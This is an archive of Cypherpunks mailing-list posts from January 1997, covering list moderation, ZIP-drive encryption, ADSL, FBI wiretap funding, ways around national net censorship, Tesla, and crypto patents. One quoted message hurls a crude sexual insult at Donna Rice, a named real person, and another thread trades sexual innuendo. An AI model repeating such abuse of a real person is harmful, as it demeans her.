> So discussions on philosophy, society, etc., are important, to remind
> everyone of the context within which this subject operates.
> However, if "community feeling" is the only thing created on the list,
> and crypto is no longer the focal topic, then what is to be
> accomplished: the list will become just a playing ground for wayward
> KOTM PhDs who are not welcome in most other cyberspaces.
> So the question of "how will this impact society", must maintain
> association with "but how does this relate to crypto?".  (unless the
> list has changed its stripes, evolving into something completely
> different, which many will agree it has).

It can be said 100,000 times, but it still comes out the same:
Just as in "The only cure for bad speech is more speech", "the only
cure for 'list-focus-drift' is more on-focus postings".






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mpj@csn.net>
Date: Tue, 21 Jan 1997 21:55:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: North American crypto site -- correction
Message-ID: <199701220555.VAA18981@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Correction: the "front door" to the North American crypto site is
http://www.sni.net/~mpj/usa/getcrypt.htm (the /usa was missing in
in an earlier post)

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Jesus Christ is coming back with power and glory!  Are you READY?
mailto:mpj@csn.net Bible site-> http://www.sni.net/~mpj  Is 40:31
BBS 303-772-1062       PGPprint=3E67A5800DFBD16A 6D52D3A91C074E41






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mpj@csn.net>
Date: Thu, 23 Jan 1997 15:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: North American crypto site -- correction
Message-ID: <199701232357.PAA00734@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Correction: the "front door" to the North American crypto site is
http://www.sni.net/~mpj/usa/getcrypt.htm (the /usa was missing in
in an earlier post)

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-----END PGP SIGNATURE-----
Jesus Christ is coming back with power and glory!  Are you READY?
mailto:mpj@csn.net Bible site-> http://www.sni.net/~mpj  Is 40:31
BBS 303-772-1062       PGPprint=3E67A5800DFBD16A 6D52D3A91C074E41






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 21 Jan 1997 21:55:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Encrypting ZIP drives?
Message-ID: <199701220555.VAA18973@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I am looking for a transparent (strong) encryption of ZIP drives. Any advice would be appreciated.

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 19:40:42 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: GSM technology
Message-ID: <199701220340.TAA17356@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Tue, 21 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > 	ADSL will be the best for movies... i can't wait .
> > >
> > > What kind of movies?
> >
> > 	You're too young to watch these..:)
> 
> I'm older than you... Do you mean I'm too old to watch these?

	Yes physically you are older and wiser;
	And watching 'wild orchid' would be detrimental to your health.
		
	thinking of you, oksas!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Tue, 21 Jan 1997 19:55:31 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Airport security [no such thing]
Message-ID: <199701220355.TAA17584@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 19 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> 
> > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > >
> > > > On Sat, 18 Jan 1997, Dr.Dimitri Vulis KOTM wrote:
> > > >
> > > > > Nurdane Oksas <oksas@asimov.montclair.edu> writes:
> > > > >
> > > > > > On Fri, 17 Jan 1997, Dale Thorn wrote:
> > > > > >
> > > > > > > Dr.Dimitri Vulis KOTM wrote:
> > > > > > > > snow <snow@smoke.suba.com> writes:
> > > > > > > > > > I say we make people fly naked and ship their stuff via UPS ;
> > > > > > >
> > > > > > > > >     >>shudder<<
> > > > > > > > >     No!. A clear case of the cure being worse than the disease.
> > > > > > >
> > > > > > > > Why. it might be fun - those long flight can be so boring with cl
> > > > > > >
> > > > > > > This one I really don't understand.  Cypherpunks lobbied heavily fo
> > > > > > > the Final Solution to Spamming and flaming, now along comes the per
> > > > > > > solution to the airport security problem, and nobody's gonna go for
> > > > > > >
> > > > > > > Guess those old, out-of-shape guys don't want anybody laughing at t
> > > > > > > Besides, they can put all the clothes in the same plane's baggage
> > > > > > > compartment.  And planes have those little blankets and pillows,
> > > > > > > so what's the problem?
> > > > > >
> > > > > > 	Cold temps...
> > > > >
> > > > > What can naked people do to keep warm???
> > > >
> > > > 	steal blankets from nearby passenger..
> > >
> > > I once saw a movie where they had a heroin (or cocaine?) processing lab
> > > and everybody was supposed to work naked so it would be hard to steal
> > > some of the product. Of course in the movie all the employees were good-
> > > looking women (Oksas would have been the big star!).
> >
> > 	Thank you for the complement;  You've only seen me with clothes :)
> 
> I can tell.
> 
> > 	Would you like to share my blanket?
> 
> Sure!  A true gentleman (like me) is always ready, willing, and able to share
> a security blanket with a lady.

	I am very embarassed...
> 
> "Something nekkid's in the air!"
> 
	i think i am in trouble ;)
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 21 Jan 1997 20:10:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Seismic Crypto
Message-ID: <199701220410.UAA17798@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


In a NYT report today on a "mysterious" blast in the
Australian outback in 1993, there's mention of "seismic
weapons" and research on them by Nicholas Tesla
in the 1930s.

Would any of our weapons connoisseurs have more
info on what these are and how they were supposed to
work? Electrical, chemical, nuclear?

That Aussie blast has still not been identified except
that it was something in the nuclear weapon, earthquake or 
meteorite range. The Arum sect, which owned 500,000
acres in the viciniity, was a suspect for a while but later 
cleared, although it was looking into seismic weapons.

Will send the story:

WHA_the

Or read it at www.nytimes.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Tue, 21 Jan 1997 21:55:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Nikola Tesla
Message-ID: <199701220555.VAA19005@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 21 Jan 1997 22:39:48 -0500
> From: John Young <jya@pipeline.com>
> Subject: Seismic Crypto
> 
> In a NYT report today on a "mysterious" blast in the
> Australian outback in 1993, there's mention of "seismic
> weapons" and research on them by Nicholas Tesla
> in the 1930s.

First, it's Nikola Tesla. At least do the man the honor of getting his name
correct (he is a personal hero of mine), I mean he ONLY invented the AC
power system we use today, the first commercial power generation plant at
Niagra Falls in the world, the first torpedo which he sold to the Russians
because the USN was too stupid to buy it, radio, remote control via radio,
wireless power transmission, etc...

Second, there is a LOT of hogwash attributed to Nikola which he in actuality
never worked on (ie death rays, flying saucers to the interior of the Earth,
etc.). If you would like to learn more about him then check out
"The Writings and Inventions of Nikola Tesla", it was proofed by him prior
to its publication. You will also find in most bookstores a copy of all his
American patents in "The Collected Patents of Nikola Tesla". I apologize for
not providing ISBN's but my copies are 30 miles away in my shop being used
to build Tesla Coils. I would strongly suggest avoiding the Tesla Society as
it is, in my opinion, populated by a bunch of UFO and conspiracy crazies
(though a small percentage of their articles are useable).

His work on 'artificial earthquakes' dealt with his studies on mechanical
coupling between tuned oscillators. He was finaly 'asked' to leave because
he would get 4-5 square block areas of New York rocking, much to the chagrin
of the residents, by coupling pile-driver like oscillators to the building
he lived in.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 22 Jan 1997 04:12:25 -0800 (PST)
To: Amanda Walker <amanda@intercon.com>
Subject: Re: Wow.
Message-ID: <199701221212.EAA23249@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:58 AM 1/19/97 -0500, Amanda Walker wrote:
>I'm off to look for a mailing list where people are ACTUALLY DISCUSSING
>CRYPTOGRAPHY AND IMPLEMENTING CRYPTOSYSTEMS.  This list may still be
>called "cypherpunks", but it doesn't have much cypherpunk left in it, as
>far as I can tell.

To some extent it's bad timing - there's been enough flaming on the
list (including a few bad apples really harassing it) that John Gilmore
decided it was time to start moderating the list, and that's led to
a bunch of flames about moderation.  But it was getting pretty bad.

About a year ago the coderpunks@toad.com list got started;
it's just for discussing code and related issues, not politics.
It's moderated by the "Please be nice, and we'll kick you off for abuse"
method, and it's worked out fine, though it's usually quiet.
Also, a month or two ago, Perry Metzger started cryptography@c2.net ,
which is a bit more general but not for flaming.  Perry moderates it.
Both use -request to find the listbot.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 22 Jan 1997 04:12:26 -0800 (PST)
To: "John C. Randolph" <jcr@idiom.com>
Subject: Re: Donna Rice, etc.
Message-ID: <199701221212.EAA23251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Yes, it's the very same Bimbo who scuttled Gary Hart's campaign, 
I think you have to give Gary all the credit for that;
the "Hey, I'm not doing anything wrong and you could follow me
around 24 hours a day and not find anything" bit convinced me that
Hart was a major flake, and doing it when the only credible
Democrat to take over after him was Walter F@#&! Mondale
was just unconscionable.  If he'd said something like "Get Off My Ass" or
"Reagan's not on his first wife, so what's your point" or
"my marriage is off limits" or whatever I'd have had some respect,
and for a Democrat he hadn't seemed to be that bad.

> but when she tries to tell me what I should or shouldn't be able to 
> see, my reply *must* be:
>	Fuck you, you hypocritical, ignorant, little slut.
>I am also going to take issue with her trysting with a married man. 
>I wish Hart's wife had verbally beaten the living shit out of her.

She's a _former_ bimbo, who has ostensibly rehabilitated herself.
Not that that puts her in a position to throw stones at other people..

>Obligatory Crypto Policy reference: Why couldn't she have scuttled 
>Feurher Clinton's career, instead?

Not enough room to fool around on a bass-fishing boat?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 22 Jan 1997 04:10:43 -0800 (PST)
To: Nurdane Oksas <oksas@asimov.montclair.edu>
Subject: ADSL (Was: GSM technology
Message-ID: <199701221210.EAA23233@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

They're not widely available yet; I don't know if any of the (US)
phone companies offer it as more than trials.  One limitation is that
the technology works over copper wire, so it has to be offered at
your local telco wire center.  Of course, your local telco has to 
have something useful to do with the bits once the user sends
them to the telco, and has to have some useful bits to send the user.
This means they've got to haggle about standards for 5 more years
(or just do the right thing and deploy IP, with some respectable
bandwidth to the outside world) (or deploy ATM to get a layer 2
connection to something outside.)

Don't know if the telcos have a clue about pricing, either.
It's obviously got to be more than cost, but they'll probably 
thrash around a lot the way they did with IP....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 22 Jan 1997 04:25:33 -0800 (PST)
To: "David E. Smith" <dsmith@prairienet.org>
Subject: Re: Encrypting ZIP drives?
Message-ID: <199701221225.EAA23441@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:21 AM 1/22/97 -0600, David E. Smith wrote:
>At 09:35 PM 1/21/97 -0800, you wrote:
>>I am looking for a transparent (strong) encryption of ZIP drives.
>>Any advice would be appreciated.
>
>IBM or Mac?

Parallel on Win95.

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Wed, 22 Jan 1997 04:10:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fighting the cybercensor. (fwd)
Message-ID: <199701221210.EAA23236@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Tue, 21 Jan 1997 13:50:15 -0500
> From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
> Subject: Fighting the cybercensor.
> 
> Singapore and China are blocking certain net groups. I think
> this is a bad thing, question is how can we stop it?

'We' shouldn't, it is their own country and it is up to their populace to
stop it. Do you really want Singapore or China having a say in how we run
our web? I certainly don't, and won't support any move to force any
particular view on them. If Billy-Bob wants to shoot himself in the foot,
let him. Might be purty funny to watch.

> The Web was conceived as offering despots and dictators a choice 
> between remaining in the dark ages and allowing freedom of
> speech. Blocking and filtering schemes threaten this ideal.

Bull, the web was conceived so physicist and other researchers could share
data in a easily digestible format. The web and technology in general have
no more ethics or morality intrinsicly in them than a 5/8" open end
wrench. Blocking and filtering are an expression of human choice and the
implimentation thereof. You don't like it, don't live there and don't try to
call there. You or I have no more right to be on a Chinese or Singapore
Internet than they have in coming into yours or my home without an invitation.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 22 Jan 1997 04:25:37 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701221225.EAA23457@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> Sean Roach <roach_s@alph.swosu.edu> wrote:
> > At 02:22 AM 1/21/97 -0800, Toto wrote:
> > >Bill Campbell wrote:

> > I believe he is referring to silencing the list, not Vulis.  As long as the
> > members of this list are argueing over semantics, the government has one
> > less challenger in the fight over our rights.
> > Remember, one of the oldest tactics of war is to turn the enemy against itself.

> I fear that many have now left the list, since it now seems to resemble,
> in many ways, a list consisting of high school age "wannabes" who think
> it's really cool to attack people just because they can. The downward
> spiral into inconsequential meaningless postings began with posts
> containing the word "fart".  So cool, dudes.

The list only suffers when you guys stop posting crypto/political
info.  For example, if tomorrow there are 100 new posts, and 10 of
them are crypto/political relevant, and 10 more are like this one
(I'm ignoring the other 80 for this example), then the list is only
10% relevant.  Take away these 10, and it's 11.1%, but 10 less posts
to read.  Turn these 10 into something relevant, and voila(!), the
list is now 20% relevant.

You see, it's up to you, Bill.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Wed, 22 Jan 1997 04:12:25 -0800 (PST)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Encrypting ZIP drives?
Message-ID: <199701221212.EAA23248@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:35 PM 1/21/97 -0800, you wrote:
>I am looking for a transparent (strong) encryption of ZIP drives.
>Any advice would be appreciated.

IBM or Mac?

Methinks (and I haven't tried it, but I think I will soon) that
at least on the IBM side, the usual realm of existing software
(SecureDrive/SecureDevice are the first things that come to
mind) ought to work.  After the Iomega ZIP drivers are in place,
the Zip drive is 'just another drive' as far as most applications
can see.

dave





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Wed, 22 Jan 1997 04:14:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dr. Vulis' social engineering "experiment"
Message-ID: <199701221214.EAA23262@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach <roach_s@alph.swosu.edu> wrote:
> At 02:22 AM 1/21/97 -0800, Toto wrote:
> >Bill Campbell wrote:
> >
> >> I feel we at a *critical* crossroads in this debate, and one of the
> >> more important voices has *very* effectively been silenced.
> >
> >  Dr. Vulis? There was an 'attempt' to silence him, but it hasn't 
> >worked, to date.
> > 
> I believe he is referring to silencing the list, not Vulis.  As long as the
> members of this list are argueing over semantics, the government has one
> less challenger in the fight over our rights.
> Remember, one of the oldest tactics of war is to turn the enemy against itself.

  I thought my meaning was obvious, but thanks for pointing it out
to those who didn't get it.
  When I first began reading this list, I realized that a lot of
important information was being put out; and it certainly raised
my awareness of issues that I had not previously thought about.
I believe that many other subscribers to the list also were exposed
to many of these concepts, and that many subscribers to the list
were people who could make a difference.
  I fear that many have now left the list, since it now seems to
resemble, in many ways, a list consisting of high school age
"wannabes" who think it's really cool to attack people just
because they can.
  The downward spiral into inconsequential meaningless postings
began with posts containing the word "fart".
  So cool, dudes.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 22 Jan 1997 04:25:44 -0800 (PST)
To: Jim Choate <ravage@einstein.ssz.com>
Subject: Re: Fighting the cybercensor. (fwd)
Message-ID: <199701221225.EAA23463@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate wrote:
> 'We' shouldn't, it is their own country and it is up to their populace to
> stop it. Do you really want Singapore or China having a say in how we run
> our web? I certainly don't, and won't support any move to force any
> particular view on them.

  And Germany was Hitler and the Nazi Party's own country.
  Do you really want Clinton and GingWretch having a say in how we run
our
web? (I don't).
  It may be 'their' country ('their' being the government), but it is 
'their' world ('their' being the people). There was a reason that the 
Western powers didn't return East Germans who broke the laws of their
country by climbing over the wall and running for freedom.
  Making information available does not 'force' a view on anyone.

> > The Web was conceived as offering despots and dictators a choice
> > between remaining in the dark ages and allowing freedom of
> > speech.

  I want a couple of whatever this guy is on.

> Bull, the web was conceived so physicist and other researchers could share
> data in a easily digestible format. 

  No. The internet was conceived so that the DOD could monitor the
communications
of physicists and researchers who thought it was awfully nice of the
government
to provide this wonderful method of sharing data and information.

  Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Wed, 22 Jan 1997 04:25:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "Technical data" exemptions in new crypto regs
Message-ID: <199701221225.EAA23462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  That would be Samuel Slater, who built his mill in Pawtucket, Rhode Island
(still there, on Roosevelt Avenue) in 1793.  He reproduced his former boss's
factory from memory in order to collect on a bounty offered in the US on the
export-restricted patent.

  - Richard Field



At 06:39 PM 1/21/97 -0500, Sean Roach <roach_s@alph.swosu.edu> wrote:

>This has often reminded me of something that occurred around 1776.
>I can't remember if it was before or after.
>Remember how the colonies got sophisticated spinning gear?
>I believe it was spinning gear.
>Great Britain had a ban on the export of functional models, diagrams or
>manufacturing instructions to one particular class of equipment.  This was
>so that they could maintain the monopoly on cheaply made cloth, holding the
>outlying colonies in line by maintaining a dependancy.
>One man memorized the structure of one of these machines and then came to
>the American shores, where he reproduced it workably.
>
>I can't remember the name of the man or the machine, just that it was used
>in the manufacture of cloth, the "spinning jenny" i think.  Nor can I
>remember the date.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 22 Jan 1997 06:10:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI Gets 500 Mil to Tap Your Communications
Message-ID: <199701221410.GAA24357@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>||| FBI moderates its communications-surveillance request |||
>
>TBTF for 5/4/95 [6]
>
>In 1995 the FBI asked for and was granted $500 million to augment the
>government's ability to tap communications (of this total $100M has
>been released to the FBI so far). Privacy advocates expressed outrage
>at the FBI's stated capacity goal: to be able to listen in on 1% of
>installed telephone lines at any time. This translates to about 1.6
>million taps simultaneous of all kinds: pen registers, trap-and-trace,
>and wiretaps. The FBI withdrew its initial proposal under fire and on
>1/14 submitted a revised proposal -- press release at [7], analysis
>at [8]. Unlike the earlier draft, this essay lays out its assumptions
>and straightforwardly projects needed capacity growth. The result is
>a capacity figure of fewer than 60,000 intercepts, less that 4% of
>the original request. This level of capability would allow the FBI
>simultaneously to monitor more than 500 phone lines in an area with
>the population of Manhatta still an enormous increase on historical
>numbers of intercepts.
>
>[6]  <http://www.tbtf.com/archive/05-04-95.html>
>[7]  <http://www.fbi.gov/pressrel/tele/telephon.htm>
>[8]  <http://www.cdt.org/publications/pp_3.01.html>
>

At least as important was their request to legally tap any telephone line
for 48 hours w/o a warrant.  What ever happended to that?

-- Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 22 Jan 1997 06:40:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: ADSL (Was: GSM technology
Message-ID: <199701221440.GAA24691@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>>       Does anyone use ADSL lines?  or are they still very expensive?
>
>They're not widely available yet; I don't know if any of the (US)
>phone companies offer it as more than trials.  One limitation is that
>the technology works over copper wire, so it has to be offered at
>your local telco wire center.  Of course, your local telco has to
>have something useful to do with the bits once the user sends
>them to the telco, and has to have some useful bits to send the user.
>This means they've got to haggle about standards for 5 more years
>(or just do the right thing and deploy IP, with some respectable
>bandwidth to the outside world) (or deploy ATM to get a layer 2
>connection to something outside.)

That was the intent of at least one sectio of the recently enacted Telecom
Reform Act, but now the Baby Bells are trying to block local access
provisions in the SC which would allow, for example, ISP to offer
ISDN/ADSL/HDSL via their own CO equipment (bypassing the telco switches).

>
>Don't know if the telcos have a clue about pricing, either.
>It's obviously got to be more than cost, but they'll probably
>thrash around a lot the way they did with IP....
>
>#                       Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#     (If this is a mailing list, please Cc: me on replies.  Thanks.)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 22 Jan 1997 08:27:37 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: Re: Fighting the cybercensor.
Message-ID: <199701221627.IAA25513@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:50 PM 1/21/97 -0500, Phillip M. Hallam-Baker wrote:
>Mission:
>
>Singapore and China are blocking certain net groups. I think
>this is a bad thing, question is how can we stop it? The Web
>was conceived as offering despots and dictators a choice 
>between remaining in the dark ages and allowing freedom of
>speech. Blocking and filtering schemes threaten this ideal.
>
>
>Requirements:
>
>A scheme which makes blocking of individual IP addresses 
>impractical.
>
>
...
>2c) Some crypto hack I can't quite work out (hence the post to
>cypher punks). I can phrase the challenge more compactly though.
>We have two sets of opposed groups A and M. The A group wish to
>establish a continued conversation with groups B and C. M is 
>willing to permit communication with group B but not C. Whenever
>M discovers that a member of group B is willing to act on behalf 
>of group C, M transfers that member to the C group.
>
>The problem is to keep A's channels of communication open despite
>the efforts of M for very large group sizes. 
>
...
>
>Comments? If people are willing to work on this I can provide 
>some facilities and act as a media contact.
>
I believe that I heard a suggestion here once involving accepting Vulis's
posts, all of them, but only distributing them to Vulis.
I have also heard, on a web-based bulliten board (please excuse the
spelling), about setting up a proxy for the CDA supporters routing all of
thier requests to a VAX loaded with only "clean" stuff, either by
engineering it for them, or routing all of thier communications to an
existing "clean" site.
The idea here is, if the government doesn't know what sites to block, i.e.
thier in office checks of said site checked out but everyone gets a
different look, they can't block them.  To begin blocking proxies, they
would have to get spies in the population to tell them where the "trash" is,
or pay a bounty for every such site, which they would then have to figure
out how to verify.  This would require spies on our part as well.  Ones to
say that so-and-so citizen has been informing to the government so that the
operators could put that citizen on the government list, the list of people
to give the filtered "wholesome" feed to.
Such an effort would require a great amount of effort and would probably be
best suited to the EFF or other existing freedom protection organization.
The setup would be similair to a "pirate broadcast" in the views of the
government and would thus be best operated from safe shores.
The spy ring would be simple.
A e-mail address or other semi-secure drop-off point would be maintained for
snitches.  This address would be well advertised on the board, a SINGLE system.
When a tattler is fingered by a fellow tattler, the government side tattler
is baited with highly inflammatory, but mostly worthless, articles about the
government.  If the site is blocked, the informer is blocked.
There are several kinks to work out.
The single site would be easier to maintain, having "disposible" repeater
sites which the government can see to block.  Thus the main site would never
be seen unshielded, though if it was, it wouldn't mean anything.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 22 Jan 1997 10:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Seismic Crypto
Message-ID: <199701221811.KAA26718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:39 PM 1/21/97 -0500, John Young wrote:
>In a NYT report today on a "mysterious" blast in the
>Australian outback in 1993, there's mention of "seismic
>weapons" and research on them by Nicholas Tesla
>in the 1930s.
>
>Would any of our weapons connoisseurs have more
>info on what these are and how they were supposed to
>work? Electrical, chemical, nuclear?
...
Pick up a copy of the Johnson Smith Catalog, lots of fun to read and they
sell t-shirts with greys on them.
The catalog sells several "contriversial" books and tapes, including psycic
healing techniques, astral projection, the infamous alien autopsy tape, and
several books about and works by Tesla, including one specifically about the
device that you are talking about.
On another thread, pick up the Cheek3 Scanner modification guide while your
at it, I hear that it is a good resource.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 22 Jan 1997 07:55:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: EZP_ikn
Message-ID: <199701221555.HAA25232@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


01-21-97:
 
"Method and apparatus for end-to-end encryption of a data
packet in a computer network (Assignee -- Digital Equipment
Corporation)"

  Inventor(s): Hawe, William R., Lampson, Butler W., Gupta, Amar


"Mykotronx Upgrades US Army Satellite Comms"

  Mykotronx will develop and manufacture the refurbished Batson 
  encryption subsystem, called the RBatson. Also known as KIG-34, 
  the system will provide critical command and control protection 
  for the US Defense Satellite Communication System (DSCS), 
  including encryption, authentication, and anti-jamming 
  capabilities.

-----

EZP_ikn






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 22 Jan 1997 07:55:52 -0800 (PST)
To: stewarts@ix.netcom.com>
Subject: RE: ADSL (Was: GSM technology
Message-ID: <199701221555.HAA25239@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> wrote re: ADSL lines>
They're not widely available yet; I don't know if any of the (US)
phone companies offer it as more than trials.  One limitation is that
the technology works over copper wire, so it has to be offered at
your local telco wire center.
 
A previous poster mentioned that because of the copper wire restriction, that
they may deploy first in older centers. This would appear to be the case, since
a Canadian telco (Sasktel) is offering ADSL in Saskatoon for 60$/month with
unlimited internet access. Saskatoon falls into this category - in my opinion.
 
I was only is SK briefly over New Years, but perhaps Toto can fill in details.
 
James






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Wed, 22 Jan 1997 08:55:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: EZP_ikn
Message-ID: <199701221655.IAA25905@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
> 
> 01-21-97:
> 
> "Method and apparatus ...
> 
>   Inventor(s): Hawe, William R., Lampson, Butler W., Gupta, Amar

I thought Lampson worked for Microsoft?

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Wed, 22 Jan 1997 08:27:25 -0800 (PST)
To: mech@eff.org
Subject: David Kahn advocates GAK
Message-ID: <199701221627.IAA25505@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


